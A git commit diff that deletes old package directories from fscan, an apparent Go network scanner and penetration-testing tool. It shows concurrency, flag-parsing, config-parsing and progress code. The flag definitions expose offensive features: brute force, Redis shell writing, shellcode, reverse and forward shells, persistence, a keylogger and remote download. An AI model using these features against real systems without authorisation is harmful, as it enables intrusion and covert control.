cleanup: 移除旧的包目录

删除重命名前的 Common/ 和 WebScan/ 目录,完成包结构整理。
这些目录的内容已重新组织到正确的小写包目录中。
This commit is contained in:
ZacharyZcR 2025-09-01 22:42:36 +00:00
parent c2b63a57e2
commit a10153911e
451 changed files with 0 additions and 62101 deletions

View File

@ -1,137 +0,0 @@
package common
import (
"fmt"
"sync"
"sync/atomic"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
ConcurrencyMonitor.go - 并发监控器
监控两个层级的并发
1. 主扫描器线程数 (-t 参数控制)
2. 插件内连接线程数 (-mt 参数控制)
*/
// ConcurrencyMonitor 并发监控器
type ConcurrencyMonitor struct {
// 主扫描器层级
activePluginTasks int64 // 当前活跃的插件任务数
totalPluginTasks int64 // 总插件任务数
// 插件内连接层级 (每个插件的连接线程数)
pluginConnections sync.Map // map[string]*PluginConnectionInfo
mu sync.RWMutex
}
// PluginConnectionInfo 单个插件的连接信息
type PluginConnectionInfo struct {
PluginName string // 插件名称
Target string // 目标地址
ActiveConnections int64 // 当前活跃连接数
TotalConnections int64 // 总连接数
}
var (
globalConcurrencyMonitor *ConcurrencyMonitor
concurrencyMutex sync.Once
)
// GetConcurrencyMonitor 获取全局并发监控器
func GetConcurrencyMonitor() *ConcurrencyMonitor {
concurrencyMutex.Do(func() {
globalConcurrencyMonitor = &ConcurrencyMonitor{
activePluginTasks: 0,
totalPluginTasks: 0,
}
})
return globalConcurrencyMonitor
}
// =============================================================================
// 主扫描器层级监控
// =============================================================================
// StartPluginTask 开始插件任务
func (m *ConcurrencyMonitor) StartPluginTask() {
atomic.AddInt64(&m.activePluginTasks, 1)
atomic.AddInt64(&m.totalPluginTasks, 1)
}
// FinishPluginTask 完成插件任务
func (m *ConcurrencyMonitor) FinishPluginTask() {
atomic.AddInt64(&m.activePluginTasks, -1)
}
// GetPluginTaskStats 获取插件任务统计
func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) {
return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks)
}
// =============================================================================
// 插件内连接层级监控
// =============================================================================
// StartConnection 开始连接
func (m *ConcurrencyMonitor) StartConnection(pluginName, target string) {
key := fmt.Sprintf("%s@%s", pluginName, target)
value, _ := m.pluginConnections.LoadOrStore(key, &PluginConnectionInfo{
PluginName: pluginName,
Target: target,
})
info := value.(*PluginConnectionInfo)
atomic.AddInt64(&info.ActiveConnections, 1)
atomic.AddInt64(&info.TotalConnections, 1)
}
// FinishConnection 完成连接
func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) {
key := fmt.Sprintf("%s@%s", pluginName, target)
if value, ok := m.pluginConnections.Load(key); ok {
info := value.(*PluginConnectionInfo)
atomic.AddInt64(&info.ActiveConnections, -1)
}
}
// 已移除未使用的 GetConnectionStats 方法
// GetTotalActiveConnections 获取总活跃连接数
func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
var total int64
m.pluginConnections.Range(func(key, value interface{}) bool {
info := value.(*PluginConnectionInfo)
total += atomic.LoadInt64(&info.ActiveConnections)
return true
})
return total
}
// 已移除未使用的 Reset 方法
// GetConcurrencyStatus 获取并发状态字符串
func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
activePlugins, _ := m.GetPluginTaskStats()
totalConnections := m.GetTotalActiveConnections()
if activePlugins == 0 && totalConnections == 0 {
return ""
}
if totalConnections == 0 {
return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins)
}
return fmt.Sprintf("%s:%d %s:%d",
i18n.GetText("concurrency_plugin"), activePlugins,
i18n.GetText("concurrency_connection"), totalConnections)
}
// 已移除未使用的 GetDetailedStatus 方法

View File

@ -1,419 +0,0 @@
package common
import (
"flag"
"fmt"
"os"
"strings"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
)
// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
var (
ExcludeHosts string
Ports string
ExcludePorts string
AddPorts string
HostsFile string
PortsFile string
// 本地插件列表(由外部初始化)
LocalPluginsList []string
ModuleThreadNum int
GlobalTimeout int64
EnableFingerprint bool
AddUsers string
AddPasswords string
UsersFile string
PasswordsFile string
HashFile string
HashValue string
Domain string
SshKeyPath string
TargetURL string
URLsFile string
Cookie string
WebTimeout int64
UserAgent string
Accept string
PocPath string
PocFull bool
DnsLog bool
PocNum int
DisablePocScan bool
RedisFile string
RedisShell string
RedisWritePath string
RedisWriteContent string
RedisWriteFile string
DisableBrute bool
MaxRetries int
DisableSave bool
Silent bool
DisableProgress bool
Shellcode string
// 反弹Shell相关变量
ReverseShellTarget string
ReverseShellActive bool // 反弹Shell是否处于活跃状态
// SOCKS5代理相关变量
Socks5ProxyPort int // SOCKS5代理监听端口
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
// 正向Shell相关变量
ForwardShellPort int // 正向Shell监听端口
ForwardShellActive bool // 正向Shell是否处于活跃状态
// Linux持久化相关变量
PersistenceTargetFile string // 持久化目标文件路径
// Windows持久化相关变量
WinPEFile string // Windows PE文件路径
// 键盘记录相关变量
KeyloggerOutputFile string // 键盘记录输出文件
// 文件下载相关变量
DownloadURL string // 下载文件的URL
DownloadSavePath string // 下载文件保存路径
// Parse.go 使用的变量
HostPort []string
URLs []string
HashValues []string
HashBytes [][]byte
)
// Pocinfo POC信息变量
var Pocinfo config.PocInfo
func Banner() {
// 定义暗绿色系
colors := []color.Attribute{
color.FgGreen, // 基础绿
color.FgHiGreen, // 亮绿
}
lines := []string{
" ___ _ ",
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
}
// 获取最长行的长度
maxLength := 0
for _, line := range lines {
if len(line) > maxLength {
maxLength = len(line)
}
}
// 创建边框
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
// 打印banner
fmt.Println(topBorder)
for lineNum, line := range lines {
fmt.Print("│ ")
// 使用对应的颜色打印每个字符
c := color.New(colors[lineNum%2])
c.Print(line)
// 补齐空格
padding := maxLength - len(line)
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
}
fmt.Println(bottomBorder)
// 打印版本信息
c := color.New(colors[1])
c.Printf(" Fscan Version: %s\n\n", version)
}
// Flag 解析命令行参数并配置扫描选项
func Flag(Info *HostInfo) {
Banner()
// 预处理语言设置 - 在定义flag之前检查lang参数
preProcessLanguage()
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 50, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
// LiveTop 参数已移除,改为智能控制
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&EnableFingerprint, "fp", false, i18n.GetText("flag_enable_fingerprint"))
flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", i18n.GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
// 文件下载插件参数
flag.StringVar(&DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
flag.StringVar(&DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
var showHelp bool
flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help"))
// 解析命令行参数
parseCommandLineArgs()
// 设置语言
i18n.SetLanguage(Language)
// 更新进度条显示状态
ShowProgress = !DisableProgress
// 同步配置到core包
SyncToCore()
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) {
flag.Usage()
os.Exit(0)
}
}
// parseCommandLineArgs 处理来自环境变量和命令行的参数
func parseCommandLineArgs() {
// 首先检查环境变量中的参数
envArgsString := os.Getenv("FS_ARGS")
if envArgsString != "" {
// 解析环境变量参数 (跨平台支持)
envArgs, err := parseEnvironmentArgs(envArgsString)
if err == nil && len(envArgs) > 0 {
flag.CommandLine.Parse(envArgs)
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
return
}
// 如果环境变量解析失败,继续使用命令行参数
}
// 解析命令行参数
flag.Parse()
// 检查参数冲突
checkParameterConflicts()
// 额外的本地插件互斥检查
// 需要在解析后检查因为Host是通过Info.Host设置的
// 这个检查在app/initializer.go中进行
}
// parseEnvironmentArgs 安全地解析环境变量中的参数
func parseEnvironmentArgs(argsString string) ([]string, error) {
if strings.TrimSpace(argsString) == "" {
return nil, fmt.Errorf("empty arguments string")
}
// 使用更安全的参数分割方法
var args []string
var currentArg strings.Builder
inQuote := false
quoteChar := ' '
for _, char := range argsString {
switch {
case char == '"' || char == '\'':
if inQuote && char == quoteChar {
inQuote = false
} else if !inQuote {
inQuote = true
quoteChar = char
} else {
currentArg.WriteRune(char)
}
case char == ' ' && !inQuote:
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
currentArg.Reset()
}
default:
currentArg.WriteRune(char)
}
}
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
}
return args, nil
}
// preProcessLanguage 预处理语言参数在定义flag之前设置语言
func preProcessLanguage() {
// 遍历命令行参数查找-lang参数
for i, arg := range os.Args {
if arg == "-lang" && i+1 < len(os.Args) {
lang := os.Args[i+1]
if lang == "en" || lang == "zh" {
Language = lang
i18n.SetLanguage(lang)
return
}
} else if strings.HasPrefix(arg, "-lang=") {
lang := strings.TrimPrefix(arg, "-lang=")
if lang == "en" || lang == "zh" {
Language = lang
i18n.SetLanguage(lang)
return
}
}
}
// 检查环境变量
envLang := os.Getenv("FS_LANG")
if envLang == "en" || envLang == "zh" {
Language = envLang
i18n.SetLanguage(envLang)
}
}
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo) bool {
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || TargetURL != ""
// 本地模式需要指定插件才算有效目标
if LocalMode && LocalPlugin != "" {
hasTarget = true
}
// 如果没有提供任何扫描目标,则显示帮助
if !hasTarget {
return true
}
return false
}
// checkParameterConflicts 检查参数冲突和兼容性
func checkParameterConflicts() {
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
if AliveOnly && ScanMode == "icmp" {
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地插件参数
if LocalPlugin != "" {
// 检查是否包含分隔符(确保只能指定单个插件)
invalidChars := []string{",", ";", " ", "|", "&"}
for _, char := range invalidChars {
if strings.Contains(LocalPlugin, char) {
fmt.Printf("错误: 本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件\n", char)
LogError(fmt.Sprintf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char))
os.Exit(1)
}
}
// 自动启用本地模式
LocalMode = true
// 验证本地插件名称 - 使用统一插件系统验证
// 这里不进行验证,让运行时的插件系统来处理不存在的插件
}
}

View File

@ -1,503 +0,0 @@
package common
import (
"fmt"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/parsers"
"github.com/shadow1ng/fscan/common/utils"
)
// ParsedConfiguration 解析后的完整配置(兼容旧代码)
type ParsedConfiguration struct {
*parsers.ParsedConfig
}
// Parser 主解析器
type Parser struct {
mu sync.RWMutex
fileReader *parsers.FileReader
credentialParser *parsers.CredentialParser
targetParser *parsers.TargetParser
networkParser *parsers.NetworkParser
validationParser *parsers.ValidationParser
options *parsers.ParserOptions
initialized bool
}
// NewParser 创建新的解析器实例
func NewParser(options *parsers.ParserOptions) *Parser {
if options == nil {
options = parsers.DefaultParserOptions()
}
// 创建文件读取器
fileReader := parsers.NewFileReader(nil)
// 创建各个子解析器
credentialParser := parsers.NewCredentialParser(fileReader, nil)
targetParser := parsers.NewTargetParser(fileReader, nil)
networkParser := parsers.NewNetworkParser(nil)
validationParser := parsers.NewValidationParser(nil)
return &Parser{
fileReader: fileReader,
credentialParser: credentialParser,
targetParser: targetParser,
networkParser: networkParser,
validationParser: validationParser,
options: options,
initialized: true,
}
}
// 全局解析器实例
var globalParser *Parser
var initOnce sync.Once
// getGlobalParser 获取全局解析器实例
func getGlobalParser() *Parser {
initOnce.Do(func() {
globalParser = NewParser(nil)
})
return globalParser
}
// Parse 主解析函数 - 保持与原版本兼容的接口
func Parse(Info *HostInfo) error {
// 首先应用LogLevel配置到日志系统
applyLogLevel()
parser := getGlobalParser()
// 构建输入参数
input := &AllInputs{
Credential: &parsers.CredentialInput{
Username: Username,
Password: Password,
AddUsers: AddUsers,
AddPasswords: AddPasswords,
HashValue: HashValue,
SshKeyPath: SshKeyPath,
Domain: Domain,
UsersFile: UsersFile,
PasswordsFile: PasswordsFile,
HashFile: HashFile,
},
Target: &parsers.TargetInput{
Host: Info.Host,
HostsFile: HostsFile,
ExcludeHosts: ExcludeHosts,
Ports: Ports,
PortsFile: PortsFile,
AddPorts: AddPorts,
ExcludePorts: ExcludePorts,
TargetURL: TargetURL,
URLsFile: URLsFile,
HostPort: HostPort,
LocalMode: LocalMode,
},
Network: &parsers.NetworkInput{
HttpProxy: HttpProxy,
Socks5Proxy: Socks5Proxy,
Timeout: Timeout,
WebTimeout: WebTimeout,
DisablePing: DisablePing,
DnsLog: DnsLog,
UserAgent: UserAgent,
Cookie: Cookie,
},
}
// 执行解析
result, err := parser.ParseAll(input)
if err != nil {
return fmt.Errorf(i18n.GetText("parse_error_config_failed", err))
}
// 更新全局变量以保持兼容性
if err := updateGlobalVariables(result.Config, Info); err != nil {
return fmt.Errorf(i18n.GetText("parse_error_update_vars_failed", err))
}
// 报告警告
for _, warning := range result.Warnings {
LogBase(warning)
}
// 显示解析结果摘要
showParseSummary(result.Config)
// 同步配置到core包
SyncToCore()
return nil
}
// AllInputs 所有输入参数的集合
type AllInputs struct {
Credential *parsers.CredentialInput `json:"credential"`
Target *parsers.TargetInput `json:"target"`
Network *parsers.NetworkInput `json:"network"`
}
// ParseAll 解析所有配置
func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input == nil {
return nil, fmt.Errorf(i18n.GetText("parse_error_empty_input"))
}
p.mu.Lock()
defer p.mu.Unlock()
if !p.initialized {
return nil, fmt.Errorf(i18n.GetText("parse_error_parser_not_init"))
}
startTime := time.Now()
result := &parsers.ParseResult{
Config: &parsers.ParsedConfig{},
Success: true,
}
var allErrors []error
var allWarnings []string
// 解析凭据配置
if input.Credential != nil {
credResult, err := p.credentialParser.Parse(input.Credential, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_credential_failed", err)))
} else {
result.Config.Credentials = credResult.Config.Credentials
allErrors = append(allErrors, credResult.Errors...)
allWarnings = append(allWarnings, credResult.Warnings...)
}
}
// 解析目标配置
if input.Target != nil {
targetResult, err := p.targetParser.Parse(input.Target, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_target_failed", err)))
} else {
result.Config.Targets = targetResult.Config.Targets
allErrors = append(allErrors, targetResult.Errors...)
allWarnings = append(allWarnings, targetResult.Warnings...)
}
}
// 解析网络配置
if input.Network != nil {
networkResult, err := p.networkParser.Parse(input.Network, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_network_failed", err)))
} else {
result.Config.Network = networkResult.Config.Network
allErrors = append(allErrors, networkResult.Errors...)
allWarnings = append(allWarnings, networkResult.Warnings...)
}
}
// 执行验证
validationInput := &parsers.ValidationInput{
ScanMode: ScanMode,
LocalMode: LocalMode,
HasHosts: input.Target != nil && (input.Target.Host != "" || input.Target.HostsFile != ""),
HasURLs: input.Target != nil && (input.Target.TargetURL != "" || input.Target.URLsFile != ""),
HasPorts: input.Target != nil && (input.Target.Ports != "" || input.Target.PortsFile != ""),
HasProxy: input.Network != nil && (input.Network.HttpProxy != "" || input.Network.Socks5Proxy != ""),
DisablePing: input.Network != nil && input.Network.DisablePing,
HasCredentials: input.Credential != nil && (input.Credential.Username != "" || input.Credential.UsersFile != ""),
}
validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_validation_failed", err)))
} else {
result.Config.Validation = validationResult.Config.Validation
allErrors = append(allErrors, validationResult.Errors...)
allWarnings = append(allWarnings, validationResult.Warnings...)
}
// 汇总结果
result.Errors = allErrors
result.Warnings = allWarnings
result.ParseTime = time.Since(startTime)
result.Success = len(allErrors) == 0
return result, nil
}
// updateGlobalVariables 更新全局变量以保持向后兼容性
func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
if config == nil {
return nil
}
// 更新凭据相关全局变量
if config.Credentials != nil {
if len(config.Credentials.Usernames) > 0 {
// 更新全局用户字典
for serviceName := range Userdict {
Userdict[serviceName] = config.Credentials.Usernames
}
}
if len(config.Credentials.Passwords) > 0 {
Passwords = config.Credentials.Passwords
}
if len(config.Credentials.HashValues) > 0 {
HashValues = config.Credentials.HashValues
}
if len(config.Credentials.HashBytes) > 0 {
HashBytes = config.Credentials.HashBytes
}
}
// 更新目标相关全局变量
if config.Targets != nil {
if len(config.Targets.Hosts) > 0 {
// 如果info.Host已经有值说明解析结果来自info.Host不需要重复设置
// 只有当info.Host为空时才设置如从文件读取的情况
if info.Host == "" {
info.Host = joinStrings(config.Targets.Hosts, ",")
}
}
if len(config.Targets.URLs) > 0 {
URLs = config.Targets.URLs
// 如果info.Url为空且只有一个URL将其设置到info.Url
if info.Url == "" && len(config.Targets.URLs) == 1 {
info.Url = config.Targets.URLs[0]
}
}
if len(config.Targets.Ports) > 0 {
Ports = joinInts(config.Targets.Ports, ",")
}
if len(config.Targets.ExcludePorts) > 0 {
ExcludePorts = joinInts(config.Targets.ExcludePorts, ",")
}
if len(config.Targets.HostPorts) > 0 {
HostPort = config.Targets.HostPorts
}
}
// 更新网络相关全局变量
if config.Network != nil {
if config.Network.HttpProxy != "" {
HttpProxy = config.Network.HttpProxy
}
if config.Network.Socks5Proxy != "" {
Socks5Proxy = config.Network.Socks5Proxy
}
if config.Network.Timeout > 0 {
Timeout = int64(config.Network.Timeout.Seconds())
}
if config.Network.WebTimeout > 0 {
WebTimeout = int64(config.Network.WebTimeout.Seconds())
}
if config.Network.UserAgent != "" {
UserAgent = config.Network.UserAgent
}
if config.Network.Cookie != "" {
Cookie = config.Network.Cookie
}
DisablePing = config.Network.DisablePing
DnsLog = config.Network.EnableDNSLog
}
return nil
}
// RemoveDuplicate 去重函数 - 恢复原始高效实现
func RemoveDuplicate(old []string) []string {
if len(old) <= 1 {
return old
}
temp := make(map[string]struct{}, len(old))
result := make([]string, 0, len(old))
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// 辅助函数
// joinStrings 连接字符串切片 - 优化版本使用字符串构建器池
func joinStrings(slice []string, sep string) string {
return utils.JoinStrings(slice, sep)
}
// joinInts 连接整数切片 - 优化版本使用字符串构建器池
func joinInts(slice []int, sep string) string {
return utils.JoinInts(slice, sep)
}
// showParseSummary 显示解析结果摘要
func showParseSummary(config *parsers.ParsedConfig) {
if config == nil {
return
}
// 显示目标信息
if config.Targets != nil {
if len(config.Targets.Hosts) > 0 {
if len(config.Targets.Hosts) <= 5 {
LogBase(i18n.GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", ")))
} else {
LogBase(i18n.GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts)))
}
}
if len(config.Targets.URLs) > 0 {
if len(config.Targets.URLs) <= 3 {
LogBase(i18n.GetText("target_urls_found", joinStrings(config.Targets.URLs, ", ")))
} else {
LogBase(i18n.GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs)))
}
}
if len(config.Targets.Ports) > 0 {
if len(config.Targets.Ports) <= 20 {
LogBase(i18n.GetText("target_ports_found", joinInts(config.Targets.Ports, ", ")))
} else {
LogBase(i18n.GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports)))
}
}
if len(config.Targets.ExcludePorts) > 0 {
LogBase(i18n.GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", ")))
}
if config.Targets.LocalMode {
LogBase(i18n.GetText("target_local_mode"))
}
}
// 显示扫描配置
LogBase(i18n.GetText("scan_config_thread_num", ThreadNum))
LogBase(i18n.GetText("scan_config_timeout", Timeout))
LogBase(i18n.GetText("scan_config_module_thread_num", ModuleThreadNum))
LogBase(i18n.GetText("scan_config_global_timeout", GlobalTimeout))
// 显示网络配置
if config.Network != nil {
if config.Network.HttpProxy != "" {
LogBase(i18n.GetText("network_http_proxy", config.Network.HttpProxy))
}
if config.Network.Socks5Proxy != "" {
LogBase(i18n.GetText("network_socks5_proxy", config.Network.Socks5Proxy))
}
if config.Network.WebTimeout > 0 {
LogBase(i18n.GetText("network_web_timeout", config.Network.WebTimeout))
}
}
// 显示凭据信息
if config.Credentials != nil {
if len(config.Credentials.Usernames) > 0 {
LogBase(i18n.GetText("credential_username_count", len(config.Credentials.Usernames)))
}
if len(config.Credentials.Passwords) > 0 {
LogBase(i18n.GetText("credential_password_count", len(config.Credentials.Passwords)))
}
if len(config.Credentials.HashValues) > 0 {
LogBase(i18n.GetText("credential_hash_count", len(config.Credentials.HashValues)))
}
}
}
// applyLogLevel 应用LogLevel配置到日志系统
func applyLogLevel() {
if LogLevel == "" {
return // 使用默认级别
}
// 根据LogLevel字符串获取对应的日志级别
var level logging.LogLevel
switch LogLevel {
case LogLevelAll:
level = logging.LevelAll
case LogLevelError:
level = logging.LevelError
case LogLevelBase:
level = logging.LevelBase
case LogLevelInfo:
level = logging.LevelInfo
case LogLevelSuccess:
level = logging.LevelSuccess
case LogLevelDebug:
level = logging.LevelDebug
case LogLevelInfoSuccess:
level = logging.LevelInfoSuccess
case LogLevelBaseInfoSuccess:
level = logging.LevelBaseInfoSuccess
default:
// 向后兼容:如果是老的字符串格式
switch LogLevel {
case "ALL":
level = logging.LevelAll
case "ERROR":
level = logging.LevelError
case "BASE":
level = logging.LevelBase
case "INFO":
level = logging.LevelInfo
case "SUCCESS":
level = logging.LevelSuccess
case "DEBUG":
level = logging.LevelDebug
case "debug":
level = logging.LevelAll // 兼容旧的debug行为
default:
return // 无效的级别,保持默认
}
}
// 更新全局日志管理器的级别
if globalLogger != nil {
config := &logging.LoggerConfig{
Level: level,
EnableColor: !NoColor,
SlowOutput: false,
ShowProgress: ShowProgress,
StartTime: StartTime,
LevelColors: logging.GetDefaultLevelColors(),
}
newLogger := logging.NewLogger(config)
if ProgressBar != nil {
newLogger.SetProgressBar(ProgressBar)
}
newLogger.SetOutputMutex(&OutputMutex)
// 设置协调输出函数使用LogWithProgress
newLogger.SetCoordinatedOutput(LogWithProgress)
// 更新全局日志管理器
globalLogger = newLogger
// status变量已移除如需获取状态请直接调用newLogger.GetScanStatus()
}
}

View File

@ -1,19 +0,0 @@
package common
import "github.com/shadow1ng/fscan/common/base"
/*
Ports.go - 端口常量向后兼容层
此文件保持向后兼容实际常量定义已迁移到Core/Constants.go
*/
// 向后兼容的端口常量 - 引用base包中的定义
var (
WebPorts = base.WebPorts // Web服务端口组
MainPorts = base.MainPorts // 主要服务端口组
DbPorts = base.DbPorts // 数据库端口组
ServicePorts = base.ServicePorts // 服务端口组
CommonPorts = base.CommonPorts // 常用端口组
AllPorts = base.AllPorts // 全部端口
)

View File

@ -1,457 +0,0 @@
package common
import (
"fmt"
"os"
"runtime"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
ProgressManager.go - 固定底部进度条管理器
提供固定在终端底部的进度条显示与正常输出内容分离
使用终端控制码实现位置固定和内容保护
*/
// ProgressManager 进度条管理器
type ProgressManager struct {
mu sync.RWMutex
enabled bool
total int64
current int64
description string
startTime time.Time
isActive bool
terminalHeight int
reservedLines int // 为进度条保留的行数
lastContentLine int // 最后一行内容的位置
// 输出缓冲相关
outputMutex sync.Mutex
// 活跃指示器相关
spinnerIndex int
lastActivity time.Time
activityTicker *time.Ticker
stopActivityChan chan struct{}
// 内存监控相关
lastMemUpdate time.Time
memStats runtime.MemStats
}
var (
globalProgressManager *ProgressManager
progressMutex sync.Mutex
// 活跃指示器字符序列(旋转动画)
spinnerChars = []string{"|", "/", "-", "\\"}
// 活跃指示器更新间隔
activityUpdateInterval = 500 * time.Millisecond
)
